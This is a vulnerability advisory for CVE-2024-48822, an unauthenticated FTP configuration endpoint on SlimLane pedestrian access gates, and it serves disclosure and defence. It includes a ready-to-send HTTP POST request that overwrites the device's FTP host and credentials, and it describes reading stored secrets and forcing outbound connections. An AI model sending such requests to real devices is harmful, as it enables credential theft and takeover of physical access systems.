CVE-2024-48822: Privilege Escalation in Automatic Systems SlimLane (FtpConfig.php)

Summary

The maintenance interface on the affected Automatic Systems SlimLane build exposes FtpConfig.php without an authorisation check. An unauthenticated attacker able to reach the page can force-browse directly to it and both read and overwrite the device's FTP configuration, as well as invoke the built-in connection-tester functionality.

Because the endpoint trusts the request rather than the session, none of this requires valid credentials. On a pedestrian access gate, control of the FTP settings is a foothold into how the device moves files and where it points.

This vulnerability is tracked as CVE-2024-48822. The authoritative record is on the CVE List (CVE-2024-48822), with severity metrics on the National Vulnerability Database.

Technical detail

The page accepts a JSON body describing the FTP configuration and persists it. A request of the following form updates the stored configuration:

POST /FtpConfig.php HTTP/1.1
Host: <IP>
Content-Length: 106
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0
Connection: keep-alive

{"fct":"save_ftp_config","enabled":true,"host":"badhost","user":"myuser","password":"mypass"}

The same page also exposes the current configuration on read, meaning stored credentials can be retrieved, and the tester function can be driven to make the device connect outbound to an attacker-chosen host.

Impact

Unauthenticated read and write of FTP configuration on the device. In practice this allows redirection of file transfers, disclosure of any stored FTP credentials, and abuse of the tester to coerce outbound connections. It is a classic missing access control (broken authorisation) issue: the sensitive function was never gated.

Remediation

• Enforce authentication and a server-side authorisation check on FtpConfig.php and every other administrative endpoint, rather than relying on the UI not linking to them.
• Never return stored secrets to the client; treat the FTP password as write-only from the interface.
• Segment management interfaces off untrusted networks so force-browsing is not reachable in the first place.

Why it matters for operators

Physical access control hardware is frequently deployed on flat networks and rarely retested after installation. A finding like this is only exploitable if the interface is reachable, which is exactly the kind of exposure a network penetration test is designed to catch before somebody else does.

Common questions